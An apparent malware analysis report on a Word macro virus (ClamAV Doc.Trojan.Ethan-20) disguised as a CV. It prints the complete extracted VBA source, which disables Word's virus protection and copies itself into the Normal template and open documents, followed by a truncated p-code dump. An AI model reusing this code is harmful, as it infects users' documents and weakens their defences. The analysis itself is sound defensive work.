Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 11b2d80527a91178…

MALICIOUS

Office (OLE)

55.0 KB Created: 2000-03-08 10:43:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: d9e0180ff87baeb5a15c0cc16214a7e0 SHA-1: 6354241f46a086a8f50f11880778917f10a36a91 SHA-256: 11b2d80527a911785515c470e95e0adba12b2a60a3fb39f22e0cbd0f5c691c71
80 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is a malicious Office document containing VBA macros. The macros attempt to copy themselves to a file named 'c:\IDEDev.___\', suggesting an attempt to establish persistence or prepare for further execution. The document body is a curriculum vitae, likely a lure to encourage macro execution.

Heuristics 2

  • ClamAV: Doc.Trojan.Ethan-20 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ethan-20
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6792 bytes
SHA-256: 2b82a196b78c3a987974d465a7fff736eab7ce7d78dd082f524315c45b2a3466
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Rem ID
Private Sub Document_Close()

Rem >>>>>>>>>>Wordbackup
Rem Makes backups of Word Documents Whever You Like It Or You don't

Rem Initialise
On Error Resume Next
s = ActiveDocument.Saved
Application.EnableCancelKey = Not -1
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
Randomize

Rem >>>>>>>>>>Breed The Code<<<<<<<<<<<<<

Rem Copy Self To c:\IDEDev.___
  Open "c:\IDEDev.___" For Output As #1
  For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
   a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
   Print #1, a
  Next i
  Close #1
  SetAttr "c:\IDEDev.___", 6

Rem Does master contain Macro?
   If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Rem ID" Then
  Set t = NormalTemplate.VBProject.VBComponents.Item(1)
 ElseIf ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Rem ID" Then
  Set t = ActiveDocument.VBProject.VBComponents.Item(1)
 Else
  t = ""
 End If
 
Rem If Not Then Copy The Contents Of c:\IDEDev.___ to it
 If t <> "" Then
  Open "c:\IDEDev.___" For Input As #1
  If LOF(1) = 0 Then GoTo q
  i = 1
  Do While Not EOF(1)
   Line Input #1, a
   t.CodeModule.InsertLines i, a
   i = i + 1
  Loop
q:
  Close #1
  If Left(ActiveDocument.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
 End If
 If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s


Rem >>>>>>>>>>>>>Backup The Document<<<<<<<<<<<<<<<<
 temp = ActiveDocument.FullName
 savedir = "c:\winbackup"
 savefile = savedir + "\" + ActiveDocument.Name
 MkDir (savedir)
 SaveAs (savefile)
 SaveAs (temp)

End Sub


' Processing file: /opt/analyzer/scan_staging/51cbaae99fcd429f84317119e4ae7d3c.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 8386 bytes
' Line #0:
' Line #1:
' 	Rem 0x0003 " ID"
' Line #2:
' 	FuncDefn (Private Sub Document_Close())
' Line #3:
' Line #4:
' 	Rem 0x0015 " >>>>>>>>>>Wordbackup"
' Line #5:
' 	Rem 0x0040 " Makes backups of Word Documents Whever You Like It Or You don't"
' Line #6:
' Line #7:
' 	Rem 0x000B " Initialise"
' Line #8:
' 	OnError (Resume Next) 
' Line #9:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	St s 
' Line #10:
' 	LitDI2 0x0001 
' 	UMi 
' 	Not 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #11:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith ConfirmConversions 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith VirusProtection 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith SaveNormalPrompt 
' 	BoS 0x0000 
' 	EndWith 
' Line #12:
' 	ArgsCall Read 0x0000 
' Line #13:
' Line #14:
' 	Rem 0x0026 " >>>>>>>>>>Breed The Code<<<<<<<<<<<<<"
' Line #15:
' Line #16:
' 	Rem 0x001B " Copy Self To c:\IDEDev.___"
' Line #17:
' 	LitStr 0x000D "c:\IDEDev.___"
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Output)
' Line #18:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	For 
' Line #19:
' 	Ld i 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St a 
' Line #20:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	Ld a 
' 	PrintItemNL 
' Line #21:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #22:
' 	LitDI2 0x0001 
' 	Sharp 
' 	Close 0x0001 
' Line #23:
' 	LitStr 0x000D "c:\IDEDev.___"
' 	LitDI2 0x0006 
' 	ArgsCall SetAttr 0x0002 
' Line #24:
' Line #25:
' 	Rem 0x001B " Does master contain Macro?"
' Line #26:
' 	L
... (truncated)

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